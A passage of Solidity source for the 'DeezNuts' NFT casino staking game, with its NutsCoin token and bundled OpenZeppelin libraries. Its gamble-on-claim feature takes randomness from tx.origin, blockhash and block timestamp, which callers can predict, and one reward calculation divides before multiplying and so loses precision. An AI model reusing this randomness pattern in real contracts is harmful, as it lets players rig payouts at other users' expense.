rootHashes["dealerRoot"] = 0xb2b2d91dec60669d941f038c2b3d924a2ce1ef63de2c74dec02bd51abe7b7a2d; rootHashes["slotRoot"] = 0x77ca07f4452ea3e642a01a4807e18e4d0d2f167278ec2e4f6f138f64286dfaba; rootHashes["weddingOfficiantRoot"] = 0x31ebcfd78167e3016e69ed146d132d80fb0b34804b7af27e13af0aeb3c7c4058; rootHashes["busDriverRoot"] = 0x6e13c174c07bed341d3327089c982860b78900ca20d8dd8d297599ffdb76c9ea; rootHashes["penCollectorRoot"] = 0xb338e9eb86a679b212873dd4904fb9d7aa25d3923e55886236edb2546be72a3b; rootHashes["phMonitorRoot"] = 0xba9276a497ed4baca93bda576c688d3573631f1a0cdc0ae44af477ab34bb6887; } function setNewMax(uint256 newMaxGlobal) public onlyOwner { MAXIMUM_GLOBAL_NUTS = newMaxGlobal; } function updateCasinoJobRates(string calldata title, bytes32 newRoot) public onlyOwner { rootHashes[title] = newRoot; } function getAllStakedForAddress(address _address) public view returns (uint16[] memory allStaked){ return ownershipMapping[_address]; } function getTotalCalimable(address _address) public view returns (uint128 totalClaimable) { uint16[] memory tokenIds = ownershipMapping[_address]; for (uint i = 0; i < tokenIds.length; i++) { Stake memory stake = casinoEmployees[tokenIds[i]]; require(stake.owner == _address, "Not the stake owner"); uint128 owed = 0; if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { owed = uint128(((block.timestamp.sub(stake.value)).mul(stake.dailyRate)).div(1 days)); } else if (stake.value > lastClaimTimestamp) { owed = 0; // $NUTS production stopped already } else { owed = uint128((lastClaimTimestamp.sub(stake.value)).mul(stake.dailyRate / 1 days)); // stop earning additional $NUTS if it's all been earned } totalClaimable += owed; } } function getDailyRateForToken(uint256 tokenId, bytes32[] calldata employementProof) public view returns (uint72 dailyRate){ bytes32 leaf = keccak256(abi.encodePacked(Strings.toString(tokenId))); dailyRate = 420 ether; if ( MerkleProof.verify(employementProof, rootHashes["casinoBossRoot"], leaf) ) { dailyRate = 3318 ether; } else if (MerkleProof.verify(employementProof, rootHashes["floorManagerRoot"], leaf)) { dailyRate = 3101 ether; } else if (MerkleProof.verify(employementProof, rootHashes["blueNutRoot"], leaf)) { dailyRate = 2883 ether; } else if (MerkleProof.verify(employementProof, rootHashes["chefRoot"], leaf)) { dailyRate = 2658 ether; } else if (MerkleProof.verify(employementProof, rootHashes["djRoot"], leaf)) { dailyRate = 2449 ether; } else if (MerkleProof.verify(employementProof, rootHashes["bartenderRoot"], leaf)) { dailyRate = 2231 ether; } else if (MerkleProof.verify(employementProof, rootHashes["impersonatorRoot"], leaf)) { dailyRate = 2014 ether; } else if (MerkleProof.verify(employementProof, rootHashes["dealerRoot"], leaf)) { dailyRate = 1797 ether; } else if (MerkleProof.verify(employementProof, rootHashes["slotRoot"], leaf)) { dailyRate = 1579 ether; } else if (MerkleProof.verify(employementProof, rootHashes["weddingOfficiantRoot"], leaf)) { dailyRate = 1362 ether; } else if (MerkleProof.verify(employementProof, rootHashes["busDriverRoot"], leaf)) { dailyRate = 1145 ether; } else if (MerkleProof.verify(employementProof, rootHashes["penCollectorRoot"], leaf)) { dailyRate = 927 ether; } else if (MerkleProof.verify(employementProof, rootHashes["phMonitorRoot"], leaf)) { dailyRate = 710 ether; } } /** STAKING */ /** * adds DeezNuts NFT to the CasinoEmployees (staking) * @param account the address of the staker * @param tokenIds the IDs of the Sheep and Wolves to stake */ function addManyToCasino(address account, uint16[] calldata tokenIds, bytes32[][] calldata employmentProof) external whenNotPaused nonReentrant { require(account == _msgSender(), "Rechek sender of transaction"); require(tokenIds.length > 0, "No tokens sent"); for (uint i = 0; i < tokenIds.length; i++) { require(deezNutsNFT.ownerOf(tokenIds[i]) == _msgSender(), "Token isn't yours!"); deezNutsNFT.transferFrom(_msgSender(), address(this), tokenIds[i]); _addTokenToCasino(account, tokenIds[i], employmentProof[i]); ownershipMapping[account].push(tokenIds[i]); } totalStaked += tokenIds.length; nuts.mint(msg.sender, 1 ether); } /** * adds a single Sheep to the Barn * @param account the address of the staker * @param tokenId the ID of the Sheep to add to the Barn */ function _addTokenToCasino(address account, uint16 tokenId, bytes32[] calldata proofOfEmployment) internal whenNotPaused _updateEarnings { uint72 tokenDailyRate = getDailyRateForToken(tokenId, proofOfEmployment); casinoEmployees[tokenId] = Stake({ owner: account, tokenId: uint16(tokenId), value: uint40(block.timestamp), dailyRate: tokenDailyRate }); DAILY_NUTS_RATE += tokenDailyRate; } /** CLAIMING / UNSTAKING */ /** * realize $NUTS earnings and optionally unstake tokens from the Casino * @param tokenIds the IDs of the tokens to claim earnings from * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds * @param gambleOption int to determine withdrawal risk */ function claimManyFromCasino(uint16[] calldata tokenIds, bool unstake, uint256 gambleOption) external nonReentrant whenNotPaused _updateEarnings { require(0 < gambleOption && gambleOption < 5, "Gamble option has to be 1, 2 or 3. Only use 4 if you don't want any bonus"); uint128 owed; for (uint i = 0; i < tokenIds.length; i++) { owed += _claimNutFromCasino(tokenIds[i], unstake); } // remove unstaked from ownership mapping if (unstake) { if (tokenIds.length == ownershipMapping[_msgSender()].length) { ownershipMapping[_msgSender()] = new uint16[](0); } else { uint16[] memory remainingStaked = new uint16[](ownershipMapping[_msgSender()]. length - tokenIds.length); uint16[] memory stakedTokens = ownershipMapping[_msgSender()]; uint index = 0; for (uint i = 0; i < stakedTokens.length; i++) { bool keepIt = true; for (uint j = 0; j < tokenIds.length; j++) { if (tokenIds[j] == stakedTokens[i]) { keepIt = false; } } if (keepIt) { remainingStaked[index] = stakedTokens[i]; index += 1; } } ownershipMapping[_msgSender()] = remainingStaked; } totalStaked -= tokenIds.length; } if (owed == 0) return; uint128 bonus; if (gambleOption == 1) { bonus = owed * 25 / 100; owed += bonus; totalNutsEarned += bonus; } else if (gambleOption == 2) { if (random(tokenIds[0]) % 3 != 0) { bonus = owed * 75 / 100; owed += bonus; totalNutsEarned += bonus; } } else if (gambleOption == 3) { if (random(tokenIds[0]) % 4 == 0) { owed = 0; } else { owed += owed; totalNutsEarned += owed; } } else if (gambleOption == 4) { // to be used in case contract is close to empty and people couldn't withdraw with the 25% bonus totalNutsEarned += owed; } if (owed > 0) { nuts.mint(_msgSender(), owed); } emit GambleOutcome(_msgSender(), owed); } /** * realize $NUTS earnings for a single Nut * @param tokenId the ID of the Sheep to claim earnings from * @param unstake whether or not to unstake the Sheep * @return owed - the amount of $NUTS earned */ function _claimNutFromCasino(uint16 tokenId, bool unstake) internal returns (uint128 owed) { Stake memory stake = casinoEmployees[tokenId]; require(stake.owner == _msgSender(), "Not the stake owner"); if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { owed = uint128(((block.timestamp.sub(stake.value)).mul(stake.dailyRate)).div(1 days)); } else if (stake.value > lastClaimTimestamp) { owed = 0; // $NUTS production stopped already } else { owed = uint128((lastClaimTimestamp.sub(stake.value)).mul(stake.dailyRate / 1 days)); // stop earning additional $NUTS if it's all been earned } if (unstake) { deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, ""); // send back Nut DAILY_NUTS_RATE -= stake.dailyRate; delete casinoEmployees[tokenId]; } else { casinoEmployees[tokenId] = Stake({ owner: stake.owner, tokenId: uint16(tokenId), value: uint40(block.timestamp), dailyRate: stake.dailyRate }); } } /** * emergency unstake tokens * @param tokenIds the IDs of the tokens to claim earnings from */ function rescue(uint16[] calldata tokenIds) external nonReentrant { require(rescueEnabled, "RESCUE DISABLED"); uint16 tokenId; Stake memory stake; for (uint i = 0; i < tokenIds.length; i++) { tokenId = tokenIds[i]; stake = casinoEmployees[tokenId]; require(stake.owner == _msgSender(), "Only owner can withdraw"); deezNutsNFT.safeTransferFrom(address(this), _msgSender(), tokenId, ""); // send back Nut delete casinoEmployees[tokenId]; DAILY_NUTS_RATE -= stake.dailyRate; } } /** ACCOUNTING */ /** * tracks $NUTS earnings to ensure it stops once 6.9 billion is eclipsed */ modifier _updateEarnings() { if (totalNutsEarned < MAXIMUM_GLOBAL_NUTS) { totalNutsEarned += (block.timestamp - lastClaimTimestamp) * DAILY_NUTS_RATE / 1 days; lastClaimTimestamp = block.timestamp; } _; } /** ADMIN */ /** * allows owner to enable "rescue mode" * simplifies accounting, prioritizes tokens out in emergency */ function setRescueEnabled(bool _enabled) external onlyOwner { rescueEnabled = _enabled; } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } /** READ ONLY */ function onERC721Received( address, address from, uint256, bytes calldata ) external pure override returns (bytes4) { require(from == address(0x0), "Cannot send tokens to Casino directly"); return IERC721Receiver.onERC721Received.selector; } /** * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value */ function random(uint256 seed) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ))); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "hardhat/console.sol"; contract NutsCoin is ERC20, Ownable { // a mapping from an address to whether or not it can mint / burn mapping(address => bool) controllers; uint256 public maxSupply = 6900000000 ether; // community wallet receives 690,000,000 // development wallet reecives 69,000,000 // total left for staking contract = 6141000000 constructor() ERC20("NUTS", "NUTS") { } /** * mints $Deez to a recipient * @param to the recipient of the $Deez * @param amount the amount of $Deez to mint */ function mint(address to, uint256 amount) external { require(totalSupply() + amount <= maxSupply, "Max supply of token reached"); require(controllers[msg.sender], "Only controllers can mint"); _mint(to, amount); } /** * burns $Deez from a holder * @param from the holder of the $Deez * @param amount the amount of $Deez to burn */ function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } /** * enables an address to mint / burn * @param controller the address to enable */ function addController(address controller) external onlyOwner { controllers[controller] = true; } /** * disables an address from minting / burning * @param controller the address to disbale */ function removeController(address controller) external onlyOwner { controllers[controller] = false; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "./ERC721Tradable.sol"; contract DeezNuts is ERC721Tradable{ constructor(address _proxyRegistryAddress) ERC721Tradable("Deez Nuts", "NTS", _proxyRegistryAddress) { } function baseTokenURI() override public pure returns (string memory) { return "https://storage.googleapis.com/deeznutsnft/final/Nut"; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != 